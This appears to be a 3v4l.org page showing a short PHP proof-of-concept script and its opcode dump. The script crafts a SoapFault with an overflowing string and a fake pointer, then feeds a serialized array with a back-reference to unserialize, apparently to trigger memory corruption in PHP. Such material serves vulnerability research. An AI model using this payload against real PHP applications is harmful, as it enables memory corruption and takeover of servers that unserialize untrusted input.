3v4l.org

run code in 300+ PHP versions simultaneously
<?php $addr = 0x4141414141414141; $sf = new SoapFault('1', 'knownsec1', 'knownsec2', 'knownsec3','knownsec4', str_repeat("A",232).ptr2str($addr)); $ob = unserialize("a:2:{i:0;".serialize($sf).'i:1;r:10;}'); var_dump($ob); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/pRR6S
function name:  (null)
number of ops:  31
compiled vars:  !0 = $addr, !1 = $sf, !2 = $ob
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 4702111234474983745
    5     1        NEW                                              $4      'SoapFault'
          2        SEND_VAL_EX                                              '1'
          3        SEND_VAL_EX                                              'knownsec1'
          4        SEND_VAL_EX                                              'knownsec2'
          5        SEND_VAL_EX                                              'knownsec3'
          6        SEND_VAL_EX                                              'knownsec4'
          7        INIT_FCALL                                               'str_repeat'
          8        SEND_VAL                                                 'A'
          9        SEND_VAL                                                 232
         10        DO_ICALL                                         $5      
         11        INIT_FCALL_BY_NAME                                       'ptr2str'
         12        SEND_VAR_EX                                              !0
         13        DO_FCALL                                      0  $6      
         14        CONCAT                                           ~7      $5, $6
         15        SEND_VAL_EX                                              ~7
         16        DO_FCALL                                      0          
         17        ASSIGN                                                   !1, $4
    6    18        INIT_FCALL                                               'unserialize'
         19        INIT_FCALL                                               'serialize'
         20        SEND_VAR                                                 !1
         21        DO_ICALL                                         $10     
         22        CONCAT                                           ~11     'a%3A2%3A%7Bi%3A0%3B', $10
         23        CONCAT                                           ~12     ~11, 'i%3A1%3Br%3A10%3B%7D'
         24        SEND_VAL                                                 ~12
         25        DO_ICALL                                         $13     
         26        ASSIGN                                                   !2, $13
    7    27        INIT_FCALL                                               'var_dump'
         28        SEND_VAR                                                 !2
         29        DO_ICALL                                                 
   19    30      > RETURN                                                   1

Function ptr2str:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 4
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
Branch analysis from position: 4
filename:       /in/pRR6S
function name:  ptr2str
number of ops:  15
compiled vars:  !0 = $ptr, !1 = $out, !2 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    9     0  E >   RECV                                             !0      
   11     1        ASSIGN                                                   !1, ''
   12     2        ASSIGN                                                   !2, 0
          3      > JMP                                                      ->11
   13     4    >   INIT_FCALL                                               'chr'
          5        BW_AND                                           ~5      !0, 255
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8        ASSIGN_OP                                     8          !1, $6
   14     9        ASSIGN_OP                                     7          !0, 8
   12    10        PRE_INC                                                  !2
         11    >   IS_SMALLER                                               !2, 8
         12      > JMPNZ                                                    ~10, ->4
   16    13    > > RETURN                                                   !1
   17    14*     > RETURN                                                   null

End of function ptr2str

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
167.61 ms | 1400 KiB | 23 Q